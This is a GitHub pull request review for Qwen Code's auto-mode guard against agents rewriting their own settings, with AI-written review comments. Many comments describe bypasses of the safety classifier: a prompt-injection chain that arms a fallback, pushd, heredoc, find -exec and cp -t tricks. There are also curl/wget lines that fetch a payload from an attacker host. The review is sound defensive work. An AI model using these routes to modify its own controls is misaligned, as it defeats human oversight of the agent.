Harden auto mode self-modification checks#4572
Conversation
📋 Review SummaryThis PR hardens Auto Mode by closing security gaps where protected configuration writes (Qwen Code settings, hooks, MCP config, etc.) could bypass the classifier through workspace edit fast-paths or broad allow rules. The implementation introduces a compound-aware shell semantic analyzer that tracks 🔍 General Feedback
🎯 Specific Feedback🔴 CriticalNo critical issues identified. The security design is sound and the implementation correctly handles the identified attack vectors. 🟡 High
🟢 Medium
🔵 Low
✅ Highlights
|
| if (finalPermission === 'allow') { | ||
| const forceAutoReviewForAllow = | ||
| approvalMode === ApprovalMode.AUTO && | ||
| shouldForceAutoModeReviewForAllow(pmCtx); |
There was a problem hiding this comment.
[Critical] forceAutoReviewForAllow guards the early-return at L1637, but does NOT extend to the post-AUTO-mode fallback path at L1759. When the denial-streak fallback triggers (shouldFallback returns true), evaluateAutoMode is called with skipClassifier: true and returns { via: 'fallback' }. The case 'fallback': break drops out of the switch, then execution reaches !needsConfirmation(finalPermission, approvalMode, ...) — since finalPermission is still 'allow', needsConfirmation returns false, and the tool is silently auto-approved.
The same pattern exists in Session.ts:1940 — autoModeAllowed stays false after fallback, but the !autoModeAllowed && needsConfirmation(...) guard also evaluates to false (because needsConfirmation('allow', AUTO, ...) is false), so manual approval is skipped.
Attack chain: agent under prompt injection triggers 3 blocks (arming fallback) → tries echo evil > .qwen/settings.json with a Bash(*) allow rule → force-review fires correctly but fallback bypasses the classifier → needsConfirmation('allow', ...) auto-approves.
| shouldForceAutoModeReviewForAllow(pmCtx); | |
| const forceAutoReviewForAllow = | |
| approvalMode === ApprovalMode.AUTO && | |
| shouldForceAutoModeReviewForAllow(pmCtx); | |
| // When forceAutoReviewForAllow is set and AUTO mode returns | |
| // 'fallback', the post-AUTO needsConfirmation check must NOT | |
| // auto-approve — override finalPermission to 'ask' so the | |
| // tool routes to manual confirmation. | |
| const effectivePermission = | |
| forceAutoReviewForAllow && finalPermission === 'allow' | |
| ? 'ask' | |
| : finalPermission; |
Then use effectivePermission in both the early-return guard and the needsConfirmation call. Apply the same fix in Session.ts.
— claude-opus-4-6 via Qwen Code /review
| let targetIndex = 1; | ||
| while ( | ||
| targetIndex < words.length && | ||
| words[targetIndex]!.startsWith('-') && |
There was a problem hiding this comment.
[Suggestion] The flag-skipping loop does not treat -- as an end-of-options marker. For cd -- -some-dir, -- starts with - and is not equal to '-', so it is skipped. Then -some-dir also starts with - and is also skipped. The function falls through to $HOME, returning a statically-resolved wrong cwd with cwdUnknown: false.
The existing test cd -- .qwen passes only because .qwen does not start with -.
| words[targetIndex]!.startsWith('-') && | |
| words[targetIndex]!.startsWith('-') && | |
| words[targetIndex] !== '-' && | |
| words[targetIndex] !== '--' |
Then after the loop, if words[targetIndex] === '--', skip it and take the next word unconditionally as the target.
— claude-opus-4-6 via Qwen Code /review
| return ops; | ||
| } | ||
|
|
||
| function markCwdUnknownOps( |
There was a problem hiding this comment.
[Suggestion] After a dynamic cd (where cwdUnknown is true), effectiveCwd remains the stale pre-cd cwd. A relative ../ path that resolves ABOVE effectiveCwd (e.g., cd "$QWEN_HOME" && echo '{}' > ../settings.json with effectiveCwd /repo → resolves to /settings.json) yields a normalizedPath that does NOT start with normalizedCwd + '/'. The heuristic then sets pathMayDependOnCwd = false, so the op is NOT marked cwdUnknown — even though the path is relative and depends on the actual (unknown) cwd.
With a broad Bash(*) allow rule, this means the resolved (wrong) path is checked against protection patterns instead of being forced through the classifier.
Fix: when cwdUnknown is true, mark ALL file-path operations as cwdUnknown: true, pathMayDependOnCwd: true unconditionally. The false-positive cost (absolute paths after a dynamic cd also get marked) is acceptable since dynamic-cd commands are unusual and the consequence is only routing to the classifier.
— claude-opus-4-6 via Qwen Code /review
| ); | ||
| } | ||
|
|
||
| function getNormalizedQwenHomePrefixes(): string[] { |
There was a problem hiding this comment.
[Suggestion] getNormalizedQwenHomePrefixes() calls fs.realpathSync.native(qwenHome) on every invocation with no caching. It is called from matchesQwenHomeSurface → isAutoModeProtectedWritePath → per-candidate from getAutoModeWritePathCandidates (1-3 candidates per file path). QWEN_HOME does not change during a session.
Lazy-cache the result at module scope:
let _qwenHomePrefixesCache: string[] | undefined;
let _qwenHomePrefixesCacheKey: string | undefined;
function getNormalizedQwenHomePrefixes(): string[] {
const qwenHome = process.env['QWEN_HOME'];
if (!qwenHome) return [];
if (_qwenHomePrefixesCacheKey === qwenHome && _qwenHomePrefixesCache) {
return _qwenHomePrefixesCache;
}
// ... existing resolution logic ...
_qwenHomePrefixesCacheKey = qwenHome;
_qwenHomePrefixesCache = result;
return result;
}— claude-opus-4-6 via Qwen Code /review
| } | ||
| : undefined; | ||
| const cwd = pathCtx?.cwd ?? process.cwd(); | ||
| const ops = extractShellOperationsAcrossCommand(command, cwd); |
There was a problem hiding this comment.
[Suggestion] For a simple (non-compound) shell command in AUTO mode, extractShellOperationsAcrossCommand is called 3× with identical (command, cwd) arguments:
(1) here in evaluate() top-level (L215),
(2) inside evaluateSingle() (L337, called from L232 when subCommands.length === 1),
(3) in shouldForceAutoModeReviewForAllow (autoMode.ts:271, called from coreToolScheduler.ts:1635).
The function is non-trivial — it tokenizes, parses shell-quote, strips wrappers, and runs extractShellOperations (1700+ lines). All three invocations parse the same command string.
Consider returning the pre-computed ops from evaluate() alongside the decision so that shouldForceAutoModeReviewForAllow can receive them as an argument. Similarly, pass the top-level ops into evaluateSingle to avoid the redundant re-extraction.
— claude-opus-4-6 via Qwen Code /review
|
|
||
| function markCwdUnknownOps( | ||
| ops: ShellOperation[], | ||
| effectiveCwd: string, |
There was a problem hiding this comment.
[Critical] effectiveCwd is defined but never used. ESLint @typescript-eslint/no-unused-vars error — this will fail CI lint.
The parameter was clearly intended for an absolute-vs-relative path check that was not implemented. markCwdUnknownOps unconditionally sets pathMayDependOnCwd: true for every op with a filePath, including absolute paths like /tmp/out.txt that do not depend on cwd at all.
| effectiveCwd: string, | |
| function markCwdUnknownOps( | |
| ops: ShellOperation[], | |
| _effectiveCwd: string, | |
| ): ShellOperation[] { | |
| return ops.map((op) => { | |
| if (!op.filePath) return op; | |
| const dependsOnCwd = !isShellAbsolutePath(op.filePath); | |
| return { ...op, cwdUnknown: true, pathMayDependOnCwd: dependsOnCwd }; | |
| }); | |
| } |
This uses the existing isShellAbsolutePath helper (line 162) to correctly differentiate absolute writes (which are fully determined regardless of cwd) from relative writes (which genuinely depend on the unknown cwd). The isShellAbsolutePath check avoids false-positive force-reviews for commands like cd $VAR && echo > /tmp/build.log.
— qwen3.7-max via Qwen Code /review
| * classifier or an explicit `permissions.allow` rule. | ||
| */ | ||
| const PERSISTENCE_PATH_PATTERNS: readonly RegExp[] = Object.freeze([ | ||
| /(^|\/)\.git\//, // git config, hooks, alias — covers .git/hooks/* and .git/config |
There was a problem hiding this comment.
[Suggestion] The regex /(^)\/\.git\// requires a trailing slash after .git, which matches files inside .git/ (e.g., .git/config, .git/hooks/pre-commit) but does NOT match .git itself as a regular file. In git worktrees, .git is a plain text file containing a gitdir: pointer. Overwriting this file silently breaks the worktree — all git operations fail with fatal: not a git repository.
| /(^|\/)\.git\//, // git config, hooks, alias — covers .git/hooks/* and .git/config | |
| /(^|\/)\.git(?:\/|$)/, // git config, hooks, alias — also covers .git file in worktrees |
— qwen3.7-max via Qwen Code /review
| shouldForceAutoModeReviewForAllow(pmCtx); | ||
|
|
||
| if (finalPermission === 'allow') { | ||
| if (finalPermission === 'allow' && !forceAutoReviewForAllow) { |
There was a problem hiding this comment.
[Suggestion] When forceAutoReviewForAllow is true for a sister tool in awaiting_approval, this if condition fails and the else branch does nothing — the sister tool stays blocked indefinitely in awaiting_approval. No code path routes it through the AUTO classifier, even though the classifier would likely approve it (since the allow rule signals user intent).
Consider adding a classifier dispatch branch:
if (finalPermission === 'allow' && !forceAutoReviewForAllow) {
// existing auto-approve path
} else if (finalPermission === 'allow' && forceAutoReviewForAllow) {
// Route through AUTO classifier instead of leaving blocked
const autoDecision = await evaluateAutoMode(pmCtx, this.config);
// ... handle classifier result
}— qwen3.7-max via Qwen Code /review
| const candidates = new Set<string>([filePath]); | ||
|
|
||
| try { | ||
| candidates.add(fs.realpathSync.native(filePath)); |
There was a problem hiding this comment.
[Suggestion] getAutoModeWritePathCandidates calls fs.realpathSync.native on every invocation with no caching. Unlike getNormalizedQwenHomePrefixes (which has a module-level cache), this function performs filesystem I/O on every protected-path check. In a single tool evaluation, the same file path may be checked multiple times (once in shouldForceAutoModeReviewForAllow and once in passesAcceptEditsFastPath).
Add a short-lived Map<string, string[]> cache keyed on filePath:
const writePathCandidateCache = new Map<string, string[]>();
function getAutoModeWritePathCandidates(filePath: string): string[] {
const cached = writePathCandidateCache.get(filePath);
if (cached) return cached;
// ... existing logic ...
const result = [...candidates];
writePathCandidateCache.set(filePath, result);
return result;
}— qwen3.7-max via Qwen Code /review
| const virtualDecision = this.evaluateShellVirtualOps( | ||
| extractShellOperations(command, cwd), | ||
| extractShellOperationsAcrossCommand(command, cwd), | ||
| pathCtx, |
There was a problem hiding this comment.
[Suggestion] evaluateShellVirtualOps (called here with the cross-command extracted ops) evaluates each op via evaluateSingle but never inspects op.cwdUnknown or op.pathMayDependOnCwd. When cwd is unknown (dynamic cd), the resolved filePath was computed against a potentially wrong effectiveCwd, so deny/ask rules for protected paths may silently miss the real target.
The AUTO-mode force-review path (shouldForceAutoModeReviewForAllow) does check these flags, but the PermissionManager's own rule evaluation does not — creating a gap where deterministic deny/ask rules can miss protected writes after dynamic cd.
Consider escalating to 'ask' when the path is uncertain:
for (const op of ops) {
if (op.cwdUnknown && op.pathMayDependOnCwd) {
// Path may be wrong — escalate rather than silently miss
if (this.hasAnyDenyOrAskRule(op.virtualTool)) {
worst = 'ask';
continue;
}
}
// ... existing evaluation ...
}— qwen3.7-max via Qwen Code /review
| function markCwdUnknownOps(ops: ShellOperation[]): ShellOperation[] { | ||
| return ops.map((op) => { | ||
| if (!op.filePath) return op; | ||
| return { ...op, cwdUnknown: true, pathMayDependOnCwd: true }; |
There was a problem hiding this comment.
[Suggestion] markCwdUnknownOps unconditionally sets pathMayDependOnCwd: true for every op with a filePath, including ops whose path is absolute. Absolute paths (e.g., /etc/hosts) do not depend on cwd and the flag is semantically wrong for them.
Downstream in shouldForceAutoModeReviewForAllow, the cwdUnknown && pathMayDependOnCwd short-circuit returns true for absolute-path writes after a dynamic cd, forcing unnecessary classifier review even though the resolved path is known and may not be protected.
The per-sub-command bash-rule pass in evaluate() correctly compensates (so no deny→ask security gap), but the force-review false positive adds UX friction.
| return { ...op, cwdUnknown: true, pathMayDependOnCwd: true }; | |
| function markCwdUnknownOps(ops: ShellOperation[]): ShellOperation[] { | |
| return ops.map((op) => { | |
| if (!op.filePath) return op; | |
| return { ...op, cwdUnknown: true, pathMayDependOnCwd: !isShellAbsolutePath(op.filePath) }; | |
| }); | |
| } |
— claude-opus-4-6 via Qwen Code /review
| forceAutoReviewForAllow, | ||
| ); | ||
|
|
||
| if (finalPermission === 'allow' && !forceAutoReviewForAllow) { |
There was a problem hiding this comment.
[Suggestion] When forceAutoReviewForAllow overrides L4 allow, the override is completely silent — no debug log explains why the explicit allow was downgraded to require classifier review. The parallel fallback path (line ~1752) correctly logs with debugLogger.warn(...), but this override path does not.
Debugging "tool has allow rule but still prompts for confirmation" is extremely difficult without a trace connecting the PM verdict to the force-review guard.
| if (finalPermission === 'allow' && !forceAutoReviewForAllow) { | |
| if (finalPermission === 'allow' && !forceAutoReviewForAllow) { |
Consider adding a debug log before this branch:
if (forceAutoReviewForAllow) {
debugLogger.info(
`Auto mode: L4 allow overridden by protected-write guard for ${canonicalName}`,
);
}— claude-opus-4-6 via Qwen Code /review
| if (words[0] !== 'cd') return { kind: 'not-cd' }; | ||
|
|
||
| // Skip POSIX `cd` flags (-L, -P, --, -e, -@) without consuming the special | ||
| // `cd -` (previous directory) which is non-static and should bail out. |
There was a problem hiding this comment.
[Critical] resolveCdTargetCwd only recognizes cd — pushd and popd are treated as { kind: 'not-cd' } and fall through to extractShellOperations which has no handler for them either. This completely bypasses cd-tracking and the protected-path guard.
Bypass: with a Bash(*) allow rule, pushd .qwen && echo '{}' > settings.json works because:
pushd .qwen→not-cd→ effectiveCwd unchangedecho '{}' > settings.json→ resolves to<original-cwd>/settings.json(not.qwen/settings.json)- Protected-path check: no match →
shouldForceAutoModeReviewForAllowreturns false - L4 allow auto-approves → classifier never invoked
popd has the same issue (restores a previous cwd from the directory stack).
| // `cd -` (previous directory) which is non-static and should bail out. | |
| if (words[0] !== 'cd' && words[0] !== 'pushd') { | |
| return words[0] === 'popd' ? { kind: 'dynamic' } : { kind: 'not-cd' }; | |
| } |
Note: the parse bail-out on line 1753 (words[0] === 'cd') should also be updated to include pushd.
— qwen3.7-max via Qwen Code /review
| op.cwdUnknown && | ||
| op.pathMayDependOnCwd && | ||
| this.hasDenyOrAskRuleForTool(op.virtualTool) | ||
| ) { |
There was a problem hiding this comment.
[Suggestion] When cwdUnknown && pathMayDependOnCwd && hasDenyOrAskRuleForTool(op.virtualTool) escalates the verdict to 'ask', there is no debug log explaining which virtual operation, file path, or deny/ask rule triggered the escalation. The parallel forceAutoReviewForAllow override path (coreToolScheduler.ts ~L1644) does log its override — this security-relevant branch should match that observability.
| ) { | |
| debugLogger.info( | |
| `PermissionManager: cwdUnknown escalation to 'ask' for virtualTool=${op.virtualTool} filePath=${op.filePath}`, | |
| ); | |
| worst = 'ask'; |
— qwen3.7-max via Qwen Code /review
| } | ||
|
|
||
| if (words[0] === 'popd') return { kind: 'dynamic' }; | ||
| if (words[0] !== 'cd' && words[0] !== 'pushd') return { kind: 'not-cd' }; |
There was a problem hiding this comment.
[Critical] pushd +N/-N/bare/-n produce wrong static cwd instead of dynamic
The basic pushd <dir> path works, but pushd has argument semantics that differ from cd and are not handled:
| Input | What happens | Correct |
|---|---|---|
pushd +2 |
+2 doesn't start with -, treated as directory → resolvePath('+2', cwd) = bogus path |
{kind: 'dynamic'} |
pushd -2 |
-2 skipped as flag → falls to $HOME fallback |
{kind: 'dynamic'} (stack rotation) |
bare pushd |
no args → $HOME fallback |
{kind: 'dynamic'} (swaps top two stack entries) |
pushd -n /tmp |
-n skipped as flag, /tmp treated as cd target |
{kind: 'dynamic'} (-n suppresses dir change) |
All four cases return { kind: 'static' } with wrong paths, so cwdUnknown is NOT set. This bypasses the three protection mechanisms (evaluateShellVirtualOps L370, forceAutoReviewForAllow L711/L786) that require cwdUnknown && pathMayDependOnCwd, partially reopening the security gap this PR was designed to close.
| if (words[0] !== 'cd' && words[0] !== 'pushd') return { kind: 'not-cd' }; | |
| if (words[0] === 'popd') return { kind: 'dynamic' }; | |
| if (words[0] !== 'cd' && words[0] !== 'pushd') return { kind: 'not-cd' }; | |
| // pushd-specific guards: bare pushd swaps stack, +N/-N rotates stack, | |
| // -n suppresses directory change — all are unknowable statically. | |
| if (words[0] === 'pushd') { | |
| if (words.length === 1) return { kind: 'dynamic' }; | |
| if (/^[+-]\d+$/.test(words[1]!)) return { kind: 'dynamic' }; | |
| } |
— qwen3.7-max via Qwen Code /review
| // operators/substitutions/expansions — bail on anything we can't | ||
| // statically resolve. | ||
| if (typeof part !== 'string') { | ||
| return words[0] === 'cd' || words[0] === 'pushd' |
There was a problem hiding this comment.
[Suggestion] popd missing from non-string parse early-return
When parse() encounters a non-string part (expansion/substitution) after popd, this early return checks words[0] === 'cd' || words[0] === 'pushd' but not 'popd'. For popd $DIR && write, this returns { kind: 'not-cd' } instead of { kind: 'dynamic' }.
The clean-parse path at L1762 correctly handles popd, creating an inconsistency: popd && write correctly escalates, but popd $FOO && write does not.
| return words[0] === 'cd' || words[0] === 'pushd' | |
| return words[0] === 'cd' || words[0] === 'pushd' || words[0] === 'popd' | |
| ? { kind: 'dynamic' } | |
| : { kind: 'not-cd' }; |
— qwen3.7-max via Qwen Code /review
| debugLogger.info( | ||
| `PermissionManager: cwdUnknown escalation to 'ask' for virtualTool=${op.virtualTool} filePath=${op.filePath}`, | ||
| ); | ||
| worst = 'ask'; |
There was a problem hiding this comment.
[Suggestion] cwdUnknown continue weakens wildcard deny rules to 'ask'
When cwdUnknown && pathMayDependOnCwd && hasDenyOrAskRuleForTool(op.virtualTool) is true, this continue skips evaluateSingle. For wildcard deny rules like WriteFileTool(*) that match regardless of path, the deny should still apply — but the continue prevents it.
Scenario: config has deny: ['WriteFileTool(*)']. Command cd "$TARGET" && echo > settings.json with cwdUnknown=true returns 'ask' instead of 'deny'. In AUTO mode, 'ask' routes to the classifier which could approve, whereas 'deny' would block.
Fix: evaluate the rule match first, then cap at 'ask' only if the match returned 'default' or 'allow'.
— qwen3.7-max via Qwen Code /review
wenshao
left a comment
There was a problem hiding this comment.
[Suggestion] tokenize() does not strip shell metacharacters (, ), & from tokens (shell-semantics.ts:92 — not in diff)
Subshell grouping (echo > .qwen/settings.json) produces contaminated path .qwen/settings.json) that fails protected-path regex matching. Background operator echo > .qwen/settings.json& similarly contaminates the path. With a broad Bash(*) allow rule, these bypass shouldForceAutoModeReviewForAllow. Consider stripping leading/trailing ()&{} from tokens in tokenize(), or adding these characters to splitCompoundCommand's operators.
[Suggestion] Missing integration tests for the protected-write + Bash(*) classifier enforcement boundary
The scheduler and Session.ts add forceAutoReviewForAllow logic, but no integration test verifies end-to-end that a write to .qwen/settings.json with a Bash(*) allow rule actually reaches the classifier instead of being auto-approved.
— qwen3.7-max via Qwen Code /review
| depth: number, | ||
| initialCwdUnknown: boolean, | ||
| ): ShellOperation[] { | ||
| const subCommands = splitCompoundCommand(command); |
There was a problem hiding this comment.
[Critical] splitCompoundCommand does not split on literal newlines (\n), so multi-line shell commands bypass compound-command analysis entirely.
For cd .qwen\ncp /tmp/malicious settings.json, splitCompoundCommand returns a single segment (newlines are not in SHELL_OPERATORS). shell-quote.parse() treats the newline as whitespace, returning ["cd",".qwen","cp","/tmp/malicious","settings.json"]. resolveCdTargetCwd sees words[0]==='cd', resolves the target, and classifies the entire segment as a static cd. The cp write to settings.json is never extracted. With a Bash(*) allow rule, shouldForceAutoModeReviewForAllow finds zero write ops and returns false — the protected write is auto-approved.
The same applies to brace-grouped commands: { cd .qwen && echo > settings.json; } splits as ["{ cd .qwen", "echo > settings.json", "}"]. The { becomes words[0] in the first segment, so resolveCdTargetCwd returns not-cd and the cd is never tracked. The subsequent echo > settings.json resolves at the original cwd, missing the protected-path check.
| const subCommands = splitCompoundCommand(command); | |
| // In rule-parser.ts, add '\n' to SHELL_OPERATORS: | |
| const SHELL_OPERATORS = ['&&', '||', ';;', '|&', '|', ';', '\n']; |
Also strip shell reserved keywords (then, do, else, {, !, time) from the front of words in resolveCdTargetCwd before checking for cd/pushd/popd.
— qwen3.7-max via Qwen Code /review
| let cwdUnknown = initialCwdUnknown; | ||
|
|
||
| for (const sub of subCommands) { | ||
| const cdTarget = resolveCdTargetCwd(sub, effectiveCwd, cwdUnknown); |
There was a problem hiding this comment.
[Suggestion] Pipe segments share effectiveCwd tracking, but in bash each pipe component runs in a subshell — cd in one pipe segment does not affect the other.
For cd /tmp | echo foo > bar, walkCompoundCommand tracks the cd into the second segment, resolving bar against /tmp instead of the original cwd. This produces unnecessary false positives for classifier review.
The inverse (cd /safe | echo > .qwen/settings.json) still works correctly because the actual write targets the original cwd (which is protected), so there is no security gap — only unnecessary classifier round-trips.
Consider resetting effectiveCwd / cwdUnknown to the pre-pipe state when crossing a | boundary. This requires splitCompoundCommand to return the operator type alongside each segment.
— qwen3.7-max via Qwen Code /review
| ? normalizeMonitorCommand(ctx.command).safetyCommand | ||
| : ctx.command; | ||
| const cwd = ctx.cwd ?? process.cwd(); | ||
|
|
There was a problem hiding this comment.
[Suggestion] shouldForceAutoModeReviewForAllow uses ctx.cwd ?? process.cwd() as the cwd fallback, while PermissionManager.evaluate() uses ctx.cwd ?? this.config.getCwd(). In daemon mode, process.cwd() is the daemon process's working directory, which can differ from config.getCwd() (the project's working directory).
When ctx.cwd is undefined, relative paths in shell commands resolve against different base directories in the two code paths. A protected write to a relative path may pass shouldForceAutoModeReviewForAllow (using daemon cwd) while evaluate() would flag it, or vice versa.
Consider accepting getCwd as a parameter, or ensuring callers always populate ctx.cwd before calling this function.
— qwen3.7-max via Qwen Code /review
| * Ordered by length (longest first) for correct multi-char operator detection. | ||
| */ | ||
| const SHELL_OPERATORS = ['&&', '||', ';;', '|&', '|', ';']; | ||
| const SHELL_OPERATORS = ['&&', '||', ';;', '|&', '|', ';', '\n']; |
There was a problem hiding this comment.
[Critical] Adding \n as a command boundary does not track heredoc syntax (<<'DELIM', <<DELIM). Lines inside a heredoc body that happen to start with cd are parsed as real cd commands by resolveCdTargetCwd, shifting the effective cwd for all subsequent segments.
An adversary can exploit this to redirect cwd-tracking away from a protected directory:
cd .qwen
cat <<'EOF'
cd /tmp
EOF
echo > settings.jsonsplitCompoundCommand produces: ["cd .qwen", "cat <<'EOF'", "cd /tmp", "EOF", "echo > settings.json"]. The cd /tmp (heredoc content, never executed) shifts effectiveCwd to /tmp. The final echo > settings.json resolves to /tmp/settings.json — not a protected path — so shouldForceAutoModeReviewForAllow returns false and the write auto-approves under a broad Bash(*) allow rule.
Suggested fix: make splitCompoundCommand heredoc-aware (track <</<<-/<<< and skip to the matching delimiter line), or conservatively mark all segments following a heredoc-introducing segment as cwdUnknown.
— qwen3.7-max via Qwen Code /review
| ); | ||
| } | ||
|
|
||
| const subOps = extractShellOperations(sub, effectiveCwd); |
There was a problem hiding this comment.
[Critical] The find command handler only extracts starting-point directories as list_directory ops and never analyzes -exec, -execdir, -ok, or -okdir clause arguments for writes. For find . -exec cp payload .qwen/settings.json \;, only [{ virtualTool: 'list_directory', filePath: '/repo' }] is returned — zero write ops are emitted.
Since walkCompoundCommand dispatches per-segment analysis through extractShellOperations (this call), the -exec inner command is completely invisible to both the PermissionManager virtual-op pass and the AUTO mode shouldForceAutoModeReviewForAllow guard. An attacker can use find to write to protected paths without triggering classifier review.
Suggested fix: when -exec/-execdir is encountered, collect tokens until \; or +, reconstruct the inner command, and recurse via extractShellOperationsAcrossCommand to extract its virtual ops.
— qwen3.7-max via Qwen Code /review
| skipClassifier: fallback.fallback, | ||
| }); | ||
|
|
||
| const outcome = applyAutoModeDecision( |
There was a problem hiding this comment.
[Critical] The pending-tool forceAutoReviewForAllow block (lines 3322–3402) omits the permissionDenied hook that the main AUTO-mode path fires at lines 1753–1765. After applyAutoModeDecision, the main path checks shouldFirePermissionDeniedForAutoMode(decision, outcome) and calls firePermissionDeniedEvent. This pending-tool copy skips it entirely, going straight to the switch.
Additionally, the blocked branch (lines 3356–3380: error response construction, span finalization, telemetry) and fallback branch (lines 3382–3390: debug log, tool skipped) have zero test coverage — the single test at coreToolScheduler.test.ts:2752 only covers the approved path.
Impact: (1) Audit/notification hooks silently miss denials for pending sister tools. (2) Bugs in the blocked/fallback branches (span lifecycle, error response format) could go undetected.
Suggested fix: Add the hook-firing block before the switch:
if (
!this.config.getDisableAllHooks() &&
shouldFirePermissionDeniedForAutoMode(decision, outcome)
) {
await this.config
.getHookSystem?.()
?.firePermissionDeniedEvent(
pendingTool.request.name,
toolParams,
pendingTool.request.callId,
getAutoModePermissionDeniedReason(decision),
signal,
);
}And add tests for blocked (assert error status + denial message) and fallback (assert tool skipped without scheduling).
— qwen3.7-max via Qwen Code /review
| // Also resets the denialTracking streak so a following | ||
| // classifier-eligible call doesn't surprise the user with a manual | ||
| // prompt right after an allow-rule call just worked. | ||
| const forceAutoReviewForAllow = |
There was a problem hiding this comment.
[Critical] The ACP Session integration adds shouldForceAutoModeReviewForAllow override here (one of two entry points for this security guard), but Session.test.ts was not modified in this PR — there are zero tests for this path.
The coreToolScheduler has one test (approved path only); the ACP path has none. If the ACP path has a logic error (e.g., autoModeAllowed condition inverted, confirmationPermission passed to wrong downstream), protected writes bypass the classifier in IDE/daemon sessions while being caught in CLI sessions.
Suggested fix: Add at least one test in Session.test.ts that configures AUTO mode with a Bash(*) allow rule and a shell command writing .qwen/settings.json, then asserts the session routes through the classifier/confirmation flow instead of auto-approving.
— qwen3.7-max via Qwen Code /review
|
|
||
| function hasRawProtectedRedirect(command: string, cwd: string): boolean { | ||
| for (let i = 0; i < command.length; i++) { | ||
| if (command[i] !== '>') continue; |
There was a problem hiding this comment.
[Critical] <> bidirectional redirect bypasses hasRawProtectedRedirect
if (command[i - 1] === '<') continue; is intended to skip << heredoc markers, but << never produces a > character — the two < characters are both consumed before the scanner reaches a >. The only bash construct where < immediately precedes > is <> (bidirectional redirect), which opens the file for both reading and writing.
# Bypasses hasRawProtectedRedirect entirely:
echo <> .qwen/settings.json
cat <> .qwen/settings.jsonFix: distinguish <> from the (impossible) << case:
| if (command[i] !== '>') continue; | |
| if (command[i - 1] === '<') { | |
| // <> is a bidirectional redirect (opens file for writing); | |
| // << never produces a '>' so this can only be <> | |
| // fall through to process as a write target | |
| } |
— qwen3.7-max via Qwen Code /review
| looksLikePath, | ||
| ); | ||
| if (positional.length === 0) return []; | ||
| if (targetDir) { |
There was a problem hiding this comment.
[Critical] cp -t .qwen / mv -t .qwen / install -t .qwen bypass all three protection layers
targetDirectoryWrite emits a single write_file op for the target directory (.qwen), not per-file destinations. isAutoModeProtectedWritePath('.qwen') returns false because SELF_MODIFICATION_PATH_PATTERNS protects specific files inside .qwen/ (e.g., .qwen/settings.json, .qwen/rules/) — not .qwen itself.
# All three layers miss this:
# Layer 1 (hasRawProtectedRedirect): no '>' → false
# Layer 2 (hasRawProtectedWriteCommand): '.qwen' alone fails isAutoModeProtectedWritePath
# Layer 3 (extractShellOperations): write_file op is '.qwen' (directory), not '.qwen/settings.json'
echo '{}' > /tmp/settings.json && cp -t .qwen /tmp/settings.jsonSame attack works with mv -t, install -t, and ln -t — all four handlers use targetDirectoryWrite.
Fix: emit per-file write_file ops so protected filenames inside the target directory are caught:
| if (targetDir) { | |
| if (targetDir) { | |
| return [ | |
| ...positional.map((p) => ({ | |
| virtualTool: 'read_file' as const, | |
| filePath: resolvePath(p, cwd), | |
| })), | |
| ...positional.map((p) => ({ | |
| virtualTool: 'write_file' as const, | |
| filePath: resolvePath( | |
| `${targetDir.filePath.replace(/\/$/, '')}/${p.split('/').pop()}`, | |
| cwd, | |
| ), | |
| })), | |
| targetDir, | |
| ]; | |
| } |
— qwen3.7-max via Qwen Code /review
| const autoModeDebugLogger = createDebugLogger('AUTO_MODE'); | ||
|
|
||
| const RAW_PROTECTED_WRITE_COMMANDS = | ||
| /\b(?:cp|mv|install|rsync|patch|perl|sed|tee|dd|sort|awk|gawk|node|python3?|ruby|php)\b/; |
There was a problem hiding this comment.
[Critical] curl, wget, tar, unzip, and cpio are missing from RAW_PROTECTED_WRITE_COMMANDS and their shell-semantics handlers don't emit write_file ops for output flags. This means the following commands bypass all three protection layers (raw redirect, raw write-command, and shell-semantics):
curl -o .qwen/settings.json http://attacker.com/payload
wget -O .qwen/settings.json http://attacker.com/payload
tar xf malicious.tar -C .qwen/
unzip payload.zip -d .qwen/skills/hasRawProtectedRedirect finds no >, hasRawProtectedWriteCommand skips the line (command not in regex), and extractShellOperations produces zero write ops (curl/wget handlers only emit web_fetch; tar/unzip have no handler at all → unknown-command fallback returns []).
| /\b(?:cp|mv|install|rsync|patch|perl|sed|tee|dd|sort|awk|gawk|node|python3?|ruby|php)\b/; | |
| const RAW_PROTECTED_WRITE_COMMANDS = | |
| /\b(?:cp|mv|install|rsync|patch|perl|sed|tee|dd|sort|awk|gawk|node|python3?|ruby|php|curl|wget|tar|unzip|cpio)\b/; |
Additionally, add write_file ops in the curl handler for -o/--output flag values, and in the wget handler for -O/--output-document flag values.
— qwen3.7-max via Qwen Code /review
| function hasRawProtectedWriteCommand(command: string, cwd: string): boolean { | ||
| for (const line of command.split('\n')) { | ||
| if (!RAW_PROTECTED_WRITE_COMMANDS.test(line)) continue; | ||
| if (/\b(?:sed|perl)\b/.test(line) && !/(?:^|\s)-[A-Za-z]*i/.test(line)) { |
There was a problem hiding this comment.
[Critical] The sed/perl read-only filter only recognizes short flags (-i, -ni, -pi.bak). GNU sed supports --in-place[=SUFFIX] as a long-option equivalent, which this regex does not match. When --in-place is used, the guard evaluates to true (sed detected, no -i found), so continue fires and the entire line is skipped — .qwen/settings.json passes through undetected.
sed --in-place 's/x/y/' .qwen/settings.json # bypasses all three layersThe shell-semantics sed handler (line ~1534) has the same gap: it checks a === '-i' || a.startsWith('-i') || hasCombinedShortFlag(a, 'i'), none of which match --in-place.
| if (/\b(?:sed|perl)\b/.test(line) && !/(?:^|\s)-[A-Za-z]*i/.test(line)) { | |
| if (/\b(?:sed|perl)\b/.test(line) && !/(?:^|\s)(?:-[A-Za-z]*i|--in-place)/.test(line)) { |
Also update the shell-semantics hasInPlace check:
const hasInPlace = args.some(
(a) => a === '-i' || a.startsWith('-i') || a === '--in-place' ||
a.startsWith('--in-place=') || hasCombinedShortFlag(a, 'i'),
);— qwen3.7-max via Qwen Code /review
| '', | ||
| ); | ||
| if (!target || target.startsWith('-')) continue; | ||
| if (target.includes('$')) return true; |
There was a problem hiding this comment.
[Suggestion] target.includes('$') fires on any token containing $, including awk field references ($1, $NF), perl variables ($_), and node/python inline scripts with $ in string literals. Since awk, gawk, node, python3?, ruby, and php were just added to RAW_PROTECTED_WRITE_COMMANDS, virtually every awk '{print $1}' command will trigger classifier review.
Traced example: awk '{print $1}' data.csv → token $1}' → stripRawRedirectTargetToken → $1 → target.includes('$') → return true.
Consider narrowing to shell variable expansion patterns only:
| if (target.includes('$')) return true; | |
| if (/\$[{(A-Za-z_]/.test(target)) return true; |
This matches $HOME, ${DEST}, $(cmd) but excludes $1, $NF, $_, which are not shell variable expansions in this context.
— qwen3.7-max via Qwen Code /review
| } | ||
